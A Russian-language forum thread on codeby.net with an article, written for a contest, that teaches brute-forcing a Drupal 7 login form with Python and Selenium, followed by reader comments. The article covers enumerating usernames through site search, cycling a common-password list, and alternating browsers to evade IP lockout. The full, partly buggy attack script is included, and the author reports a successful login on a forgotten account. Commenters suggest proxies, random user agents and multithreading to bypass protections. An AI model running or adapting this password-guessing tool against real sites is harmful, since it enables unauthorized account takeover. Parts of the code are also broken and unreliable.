• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

Конкурс Python+Selenium.Перебор пароля в формах авторизации.

sm0ke

sm0ke

Member
30.11.2017
16
44
Введение
Приветствую всех специалистов и заинтерисованных Информационной Безопасностью на этом замечательном ресурсе. Хотел бы начать цикл своих статей, возможно кому-нить пригодится в работе или сподвигнет на изучение языков программирования.

Пожалуй начнем!Я считаю, что каждый ИБ-спец должен уметь программировать, хотя бы функционально, но уметь. Лучший вариант для изучения конечно же Python, он удобен и прост, а так же он прекрасно подходит для автоматизации повседневных задач на скучной работе.

Сегодня мы напишем скрипт(программу, кому как удобнее) для проверки паролей на сайте c формой авторизации со своими маленькими фишками. Я по своей работе столкнулся с CMS Drupal 7, поэтому и скрипт написан под него.

Подготовка
Представим, что в организации, где вы работаете есть сайт и так совпали звезды, что на него завязана довольно серьезная работа, в моем случае это была отчетность и некоторые цифры, которые меняются очень часто для продажи/покупки билетов разных стран. То есть это вполне себе актив, который нужно защищать.

И вот Вы - молодой специалист ИБ находите на нем форму авторизации и решаете проверить самую первую политику на нем — парольную. Сказано — делаем!

Для того, что бы проверить на пароли CMS нужно хотя бы знать логины для данного сайта, не перебирать же любые, а на сайте нет никакой информации по пользователю, который её опубликовал. Нас выручит поиск по сайту, почему(?), он как раз и выдает в результатах поиска пользователей данного сайта, проверенно на многих подобных, работает. Вводим «1» в поиск, что бы логинов вывалило побольше и собираем Profit.

Python+Selenium.Перебор пароля в формах авторизации.

Как видно из рисунка нам хватит и одного для написания скрипта. Хорошо, логины есть, а как же пароли, спросите Вы. Для простой проверки я просто вбил в Google «top 100 password» и забрал первый попавшийся список, который выдал мне знаменитый поисковик.

Выбор автоматизации
Работать с формами сайта, да еще и это все автоматизировать, да желательно наглядно, в этом вопросе нас выручит модуль - инструмент для тестирования веб-форм.

Для его работы нужны «некие драйверы»: chromedriver для работы с браузером chrome и geckodriver для работы с браузером Firefox.

Зачем нужно два браузера? Я подумал, а почему бы и нет, политики сайта возможно настроены так, что бы мониторить количество запросов с одного ip-адреса и в случае чего заблокировать доступ на какое-то время. А если мы будем эмулировать два(три) браузера с какой-либо периодичностью, то может быть сойдем за некий NAT и сервер подумает, что нас много, просто IP один (Но это не точно).

Находим вышеописанные драйверы на страницах проекта selenium и складываем их в папку проекта. Не забываем так же подтянуть и сам selenium:
Код:
pip3 install -U selenium
Python+Selenium.Перебор пароля в формах авторизации.
Отлично половина дела уже сделана, остается написать наш код.

Пишем код
Для начала мы подключим все необходимые модули в наш проект:
Код:
# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
Что бы было все по взрослому, мы используем стандартный модуль agparser для создания некоего меню. Описываем функцию для того, что бы наш скрипт принимал аргументы из командной строки, аргументов будет два: логин и url формы авторизации:
Код:
def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser
Теперь напишем свой класс. Почему класс? А тут я отвечу так, я учился писать классы и решил, что было бы круто его сюда вставить, описываем класс который примет аргументы из вышеописанной функции:
Код:
class CheckPassForm():
def __init__(self,url,login):
            self.urls = url
            self.login = login
Далее мы опишем метод класса который будет поочередно вызывать метод основной логики нашего скрипта и добавим как раз в вызов нужные нам браузеры:
Код:
def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)               
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source
А вот самое интересное, метод класса, который работает непосредственно с формой авторизации:
Код:
def ChooseDriver (drivername,urls,login,passwd):
    
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
    
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()
А откуда же берутся пароли?! Да вот же они в кортеже keys, я их разместил прямо в теле класса, что бы не засорять статью я оставил их три:
Код:
keys = ('123456, 12345, password')
Заканчиваем с нашим скриптом. Пропишем его похитрее, сделаем некую защиту от дурака, постараемся поймать все неправильные вводы, используя try/except и пропишем мини-хелп:
Код:
if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
 
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)
Логика
Опишем логику нашего скрипта чуть поподробнее:
  1. Забираем аргументы из консоли:
    Код:
    parser = createParser()
    data = parser.parse_args()
  2. Создаем инстанс класса и отдаем ему наши аргументы:
    Код:
    instance = CheckPassForm('http://' + data.url,data.login)
    
    instance.PasswordChekers()
  3. PasswordChekers(self) - метод который посчитает длину кортежа keys, где хранятся пароли и примет решение на четный пароль вызывать chrome, на нечетный firefox и отдаст их арументы и выбор браузера методу ChooseDriver().
  4. ChooseDriver() - метод который откроет наш браузер, вставит в адресную строку url, найдет элементы полей авторизации: edit-name и edit-pass. Внесет в них необходимые данные.
    После этого скрипт отыщет кнопку по Xpath щелкнет по нему, выждет 15 минут и закроет драйвер.
  5. Так как у нас работает цикл for, то все действия с п.3 по п.4 повторятся заново, но с другим браузером.
Конечно я уже слышу вопросы, а как же найти элементы формы, для этого мне пришлось прослушать лекцию по автоматизации неизвестного мне лектора, который показал это очень наглядно в браузере Firefox:

Python+Selenium.Перебор пароля в формах авторизации.

Снизу выпадает инспектор с выделенным элементом, правой кнопкой мыши тычем по этому элементу:

Python+Selenium.Перебор пароля в формах авторизации.

Скопированный результат используем в нашем скрипте, аналогично ищутся элементы html edit-name и edit-pass.

Запуск
Давайте уже запустим и проверим как же оно все работает, я использую сайт, который точно знаю по какому url у него адрес формы авторизации, но логин намеренно использую не тот который нашел для демонстрации работы:

Python+Selenium.Перебор пароля в формах авторизации.

Запускается первый браузер:

Python+Selenium.Перебор пароля в формах авторизации.

Через 15 минут второй:

Python+Selenium.Перебор пароля в формах авторизации.

Результат в обоих случаях отрицательный:

Python+Selenium.Перебор пароля в формах авторизации.

Заключение
Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях. В статье намеренно использован Drupal 7, так как он имеет политику блокировки IP по большому количеству запросов на форму авторизации, скрипт намеренно не описывает логику поведения после получения авторизации.

Скрипт был реально применен мной в своей работе, каково же было мое удивление, что на втором пароле прошла авторизация по давно забытому логину.

Спасибо что прочитали и всем удачи!

Код:
# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary

'''Большое количество запросов кидает в блок'''
 
def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser


'''Класс драйвера и методов'''

class CheckPassForm():
  
    keys = ('123456, 12345, password')
  
    def __init__(self,url,login):
            self.urls = url
            self.login = login
  
    def ChooseDriver (drivername,urls,login,passwd):
      
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
      
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()     
  
    def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)                   
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source
  

if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
  
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)
 

Вложения

Последнее редактирование:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 981
Автор, спасибо! Статья очень хороша. Да и если честно говоря селениум либу на днях собирался смотреть) А тут еще и на нашем форуме про нее расписали. Огонь)
[doublepost=1512111407,1512077914][/doublepost]Но всеравно для брута использовать селениум не рационально.
-Почему?
-Дополнительная нагрузка на систему(открывается два браузера,можно ведь изменять хттп заголовки в в том числе юзер агент)
-Какая библиотека справится с брутом лучше чем селениум?
- Я могу смело советовать библиотеку requests (она выполняет все действия в консоли,опят же таки можно добавить список рандомных хттп заголовков и те же юзерагенты и прокси и много много чего для обхода базовой защиты. К тому же функцию самого брута можно использовать с многопочностю, в случае с селениум брут в 16 потоков == это 16 запущенных браузеров.
 
  • Нравится
Реакции: gushmazuko и sm0ke
sm0ke

sm0ke

Member
30.11.2017
16
44
Автор, спасибо! Статья очень хороша. Да и если честно говоря селениум либу на днях собирался смотреть) А тут еще и на нашем форуме про нее расписали. Огонь)
[doublepost=1512111407,1512077914][/doublepost]Но всеравно для брута использовать селениум не рационально.
-Почему?
-Дополнительная нагрузка на систему(открывается два браузера,можно ведь изменять хттп заголовки в в том числе юзер агент)
-Какая библиотека справится с брутом лучше чем селениум?
- Я могу смело советовать библиотеку requests (она выполняет все действия в консоли,опят же таки можно добавить список рандомных хттп заголовков и те же юзерагенты и прокси и много много чего для обхода базовой защиты. К тому же функцию самого брута можно использовать с многопочностю, в случае с селениум брут в 16 потоков == это 16 запущенных браузеров.
Спасибо за первую часть комментария.
По реквест модулю, звучит как вызов, да и потоки я знаю как реализовывать. Попробую сегодня набросать, может и вторая статья получится.
Селениум был выбран для наглядности, как описано в статье использовался в работе, что бы именно показать работу перебора и получения доступа высокому начальству(тип не фигней на работе занимаюсь:))
 
Последнее редактирование:
  • Нравится
Реакции: Ondrik8 и <~DarkNode~>
S

swap3r

Well-known member
06.11.2016
72
57
есть ли возможность многопоточности, чтобы приблизиться к тому же zennoposter, или phantomjs
 
sm0ke

sm0ke

Member
30.11.2017
16
44
есть ли возможность многопоточности, чтобы приблизиться к тому же zennoposter, или phantomjs
По идее можно убрать запуск браузеров в фон, и создавать Thread инстансы, что увеличит работоспособность программы. Сейчас в замороженном состоянии из-за челенджа по питону вторая версия скрипта с базой паролей на 1000 штук, базой поддельных хэдеров и многопоточностью. Состояние исполнения 70%.
 
  • Нравится
Реакции: Ondrik8
Ondrik8

Ondrik8

prodigy
08.11.2016
1 004
2 985
ооочень шикарная статья! давно ждал подобное не удержался написать похвалу в твою сторону! Спасибо)
 
  • Нравится
Реакции: sm0ke
A

asdffs

статья хорошая как описание работы с селениум, но такой брут на впске за $7 не погоняешь конечно
 
sm0ke

sm0ke

Member
30.11.2017
16
44
статья хорошая как описание работы с селениум, но такой брут на впске за $7 не погоняешь конечно
Конечно же нет =)
Просто я начинаю с малого, что бы закончить чем то серьезным.
 
Shihskauskas

Shihskauskas

Member
06.11.2017
21
6
Научусь писать классы =) Спасибо за модуль;)
 
S

swap3r

Well-known member
06.11.2016
72
57
Спасибо за статью.
Я для похожих целей в многопотоке использую zennoposter (платно и не сильно дешево), можно еще browser automation studio (bablosoft.com) использовать (этот бесплатный, но интерфейс очень странный).
Но, хотелось бы еще научиться этим методом поднимать инстансы (в идеале файерфоксовские с плагинами со сменой юзерагента и остального) во многопотоке с использованием отдельных настроек (прокси, юзерагенты, таймзоны, и все остальное, что детектят детекты) для каждого инстанса. Уважаемый Smoke, сможете об этом написать немного (возможно, не только мне интересно будет)? Причем, интересует не столько брут чего-то, сколько выбор элементов на странице, клик по ним, парсинг html текста страницы, итд.
 
  • Нравится
Реакции: sm0ke
sm0ke

sm0ke

Member
30.11.2017
16
44
Спасибо за статью.
Я для похожих целей в многопотоке использую zennoposter (платно и не сильно дешево), можно еще browser automation studio (bablosoft.com) использовать (этот бесплатный, но интерфейс очень странный).
Но, хотелось бы еще научиться этим методом поднимать инстансы (в идеале файерфоксовские с плагинами со сменой юзерагента и остального) во многопотоке с использованием отдельных настроек (прокси, юзерагенты, таймзоны, и все остальное, что детектят детекты) для каждого инстанса. Уважаемый Smoke, сможете об этом написать немного (возможно, не только мне интересно будет)? Причем, интересует не столько брут чего-то, сколько выбор элементов на странице, клик по ним, парсинг html текста страницы, итд.
Готовится вторая часть на библиотеке реквестс. Готовность 70%. Как опубликую ее подумаю как реализовать Ваше предложение в условиях тематики Codeby, думаю вам стоит сформулировать более четкий запрос мне в лс. Там точно и определимся.
 
  • Нравится
Реакции: comedy_club и swap3r
S

swap3r

Well-known member
06.11.2016
72
57
sm0ke, спасибо. Да у меня не особо есть какие-то запросы, я для себя все равно на зеннопостере реализовую то, что мне нужно. Я больше к тому, чтобы кто-то потом мог реализовывать простые элементарные вещи по скрапингу во многопотоке, имхо, это будет интересно.
 
C

comedy_club

Готовится вторая часть на библиотеке реквестс. Готовность 70%. Как опубликую ее подумаю как реализовать Ваше предложение в условиях тематики Codeby, думаю вам стоит сформулировать более четкий запрос мне в лс. Там точно и определимся.
Интересную статью ты написал. Будет ли статья по requests? особенно интересны были бы Post запросы, разбор всех заголовков и параметров которые необходимы для успешного запроса.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб